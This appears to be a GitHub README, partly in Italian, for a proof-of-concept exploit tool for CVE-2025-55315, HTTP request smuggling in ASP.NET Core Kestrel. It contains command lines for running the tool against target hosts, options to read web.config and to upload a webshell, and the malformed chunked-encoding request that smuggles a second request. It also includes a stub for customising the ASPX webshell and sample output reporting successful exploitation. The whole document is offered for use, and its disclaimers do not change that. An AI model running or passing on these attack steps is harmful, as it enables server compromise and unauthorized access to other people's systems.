zemarkhos/cve-2025-55315-poc-exploitCVE-2025-55315 PoC Exploit
Strumento di sfruttamento dello smuggling di richieste HTTP per ASP.NET Core Kestrel
QUESTO STRUMENTO È SOLO PER TEST DI SICUREZZA AUTORIZZATI!
Strumento professionale per penetration testing per CVE-2025-55315 (vulnerabilità di HTTP Request Smuggling in ASP.NET Core Kestrel). Questo strumento è progettato per l'analisi di un singolo target con capacità di sfruttamento complete.
Una vulnerabilità critica di HTTP Request Smuggling nel server web ASP.NET Core Kestrel (CVSS 9.9/10) che consente agli aggressori di:
Versioni affette:
# Python 3.7 or higher
python3 --version
# No external dependencies - uses only standard library
# Clone or download the tool
git clone https://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit.git
cd CVE-2025-55315-PoC-Exploit
# Make executable
chmod +x cve_2025_55315_PoC.py
python3 cve_2025_55315_PoC.py -t target.com
Questo farà:
python3 cve_2025_55315_PoC.py -t target.com -e /api/login
python3 cve_2025_55315_PoC.py -t target.com --read-config -o report.txt
python3 cve_2025_55315_PoC.py \
-t target.com \
--read-config \
--upload-shell \
-v \
-o full_report.txt
Scenario: Verificare se il server di produzione è vulnerabile
python3 cve_2025_55315_PoC.py -t api.mycompany.com
Durata prevista: 30-60 secondi
Scenario: Scansione completa dell'endpoint con output verboso
python3 cve_2025_55315_PoC.py -t api.mycompany.com -v -o scan_results.txt
Durata prevista: 2-5 minuti
Scenario: Testare endpoint critici specifici
python3 cve_2025_55315_PoC.py \
-t api.mycompany.com \
-e /api/payment/process \
-e /api/admin/users \
-e /api/internal/config \
-o critical_endpoints.txt
Scenario: Testare un server HTTP interno
python3 cve_2025_55315_PoC.py \
-t internal-api.local \
-p 8080 \
--no-ssl
usage: cve_2025_55315_PoC.py [-h] -t TARGET [-p PORT] [-e ENDPOINT]
[--no-ssl] [--read-config] [--upload-shell]
[-o OUTPUT] [-v] [--timeout TIMEOUT]
Required Arguments:
-t, --target Target hostname or URL (e.g., target.com)
Optional Arguments:
-p, --port Port number (default: 443 for SSL, 80 for non-SSL)
-e, --endpoint Specific endpoint(s) to test (can be used multiple times)
--no-ssl Disable SSL/HTTPS (use HTTP)
--read-config Attempt to read web.config file
--upload-shell Attempt webshell upload (requires confirmation)
-o, --output Save report to file
-v, --verbose Enable verbose output
--timeout Socket timeout in seconds (default: 10)
-h, --help Show help message
Target: old-api.company.com:443
Vulnerable: YES - CRITICAL
--- Server Information ---
server: Kestrel/8.0.15
kestrel_detected: True
http_version: 1.1
--- VULNERABLE ENDPOINTS (2) ---
✗ /api/login
Details: Request smuggling successful - multiple responses
✗ /api/health
Details: Request smuggling successful - multiple responses
--- SUCCESSFUL EXPLOITS ---
✓ web.config_read via /api/login
Interpretazione:
Target: new-api.company.com:443
Vulnerable: NO - SECURE
--- Server Information ---
server: Kestrel/9.0.10
kestrel_detected: True
http_version: 1.1
[SUCCESS] ✓ Endpoint NOT vulnerable (400 Bad Request)
✓ No vulnerable endpoints found - target may be patched
Interpretazione:
Prima di eseguire questo strumento, assicurati:
Lo strumento sfrutta CVE-2025-55315 utilizzando una codifica di trasferimento chunked malformata:
POST /endpoint HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
2;\n ← VULNERABILITY: Lone \n instead of \r\n
XX
0\r\n
\r\n
GET /smuggled HTTP/1.1 ← This becomes a separate request
Host: target.com
Perché funziona:
\n come terminatore di riga → elabora come singola richiesta\n → tratta il GET contrabbandato come richiesta separata| Risposta del server | Interpretazione | Stato |
|---|---|---|
400 Bad Request | Kestrel ha rifiutato chunk malformato | ✅ Sicuro (patchato) |
Multiple HTTP/1.1 | Ricevute due risposte separate | ❌ Vulnerabile |
500 o 502 | Errore interno del server | ⚠️ Probabilmente vulnerabile |
Normale 200 OK | Richiesta accettata | ⚠️ Inconcludente |
[ERROR] Connection failed: [Errno 111] Connection refused
Soluzioni:
ping target.com--no-ssl[ERROR] Connection failed: certificate verify failed
Soluzione: Lo strumento disabilita già la verifica del certificato. Se il problema persiste:
export PYTHONHTTPSVERIFY=0
python3 cve_2025_55315_PoC.py -t target.com
[WARNING] No response - possible timeout
Soluzioni:
--timeout 30[WARNING] Upload blocked (forbidden/method not allowed)
Spiegazione:
Questo è normale - non tutti i sistemi vulnerabili consentono il caricamento di file.
Microsoft Security Advisory: https://github.com/dotnet/aspnetcore/issues/64033
NVD Database: https://nvd.nist.gov/vuln/detail/CVE-2025-55315
Praetorian Research ($10k Bug Bounty): https://www.praetorian.com/blog/how-i-found-the-worst-asp-net-vulnerability-a-10k-bug-cve-2025-55315/
Andrew Lock's Technical Analysis: https://andrewlock.net/understanding-the-worst-dotnet-vulnerability-request-smuggling-and-cve-2025-55315/
PortSwigger Research: https://portswigger.net/web-security/request-smuggling
OWASP: https://owasp.org/www-community/attacks/HTTP_Request_Smuggling
Modifica COMMON_ENDPOINTS nello script:
COMMON_ENDPOINTS = [
'/your/custom/endpoint',
'/api/myapp/admin',
# Add your endpoints here
]
Modifica il metodo upload_webshell():
def upload_webshell(self, endpoint: str = '/', shell_path: str = '/shell.aspx',
shell_content: str = None):
if not shell_content:
shell_content = '''
<!-- Your custom ASPX webshell here -->
'''
Se trovi bug o hai suggerimenti:
-v-o debug.txtTHIS TOOL IS PROVIDED "AS IS" FOR EDUCATIONAL AND AUTHORIZED
SECURITY TESTING PURPOSES ONLY.
THE AUTHOR(S):
❌ Do NOT endorse illegal activities
❌ Are NOT responsible for misuse
❌ Are NOT liable for any damages
❌ Do NOT provide legal advice
BY USING THIS TOOL YOU AGREE:
✅ To use only on authorized systems
✅ To accept full legal responsibility
✅ To comply with all applicable laws
✅ To follow ethical hacking principles
UNAUTHORIZED USE IS STRICTLY PROHIBITED AND ILLEGAL!
Questo strumento è stato creato per:
NON per:
Solo per test di sicurezza educativi e autorizzati
Questo strumento è fornito per scopi educativi e test di sicurezza autorizzati. L'uso commerciale, la ridistribuzione o l'uso per scopi dannosi sono strettamente vietati.
╔═════════════════════════════════════════════════════════════╗
║ ║
║ USE THIS TOOL RESPONSIBLY AND LEGALLY! ║
║ ║
║ Unauthorized access to computer systems is a CRIME. ║
║ Always obtain written permission before testing. ║
║ Follow responsible disclosure practices. ║
║ ║
║ Happy (Legal) Hacking! ║
║ ║
╚═════════════════════════════════════════════════════════════╝